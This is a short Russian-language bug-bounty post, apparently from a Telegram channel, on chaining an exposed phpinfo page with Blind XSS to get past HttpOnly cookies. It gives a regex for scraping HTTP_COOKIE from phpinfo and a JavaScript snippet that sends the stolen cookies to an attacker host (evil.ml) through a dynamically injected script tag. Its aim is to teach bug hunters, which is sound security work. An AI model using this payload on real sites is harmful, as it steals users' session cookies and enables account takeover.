2022-01-16 20:10:32
Найдя
phpinfo на сайте, как показывают многие кейсы на
H1, багхантеры сразу же бегут сообщать о своей находке компании, чтобы получить, как правило, минимальную выплату (особенно, когда не утекли никакие особо критичные секреты).
Многие вообще незаслуженно остаются без денег из-за
"Out of Scope". Поэтому есть более интересный способ воспользоваться найденной страницей, объединив несколько багов в цепочку и увеличив тем самым критичность.
В данном случае интересует объединение
phpinfo с
Blind XSS. Так как сейчас тяжело встретить нужную нам куку
PHPSESSID (или любую ей аналогичную) без флага
HttpOnly, напрямую выкрасть ее сразу не удастся, придется обойти ограничение.
Тут нам и пригодится ранее найденный
phpinfo. Не стоит забывать, что помимо информации об ОС и некоторых других, в данном случае, нам неинтересных данных, эта страница также отображает куки зашедшего на нее пользователя.
Поэтому в пэйлоаде, эксплуатирующем Blind XSS, можно сделать от имени пользователя отдельный
fetch на
phpinfo и спарсить его куки, которые там отобразятся, при помощи следующего регекспа /HTTP_COOKIE.+?<\/td>
([\w\W]+?)<\/td>/.
Далее необходимо будет доставить их на наш сервер, обойдя CORS. Это также делается достаточно просто, на примере тега script:
let scr = document.createElement('script');
scr.src = https://evil.ml/?${cookie_var};
document.head.appendChild(scr);
Мы добавляем его на страницу динамически и отправляем извлеченные ранее куки с phpinfo на собственный сервер, обходя политику. Все, что останется сделать - дождаться отстука и пойти проверить access логи.
577 viewsedited 17:10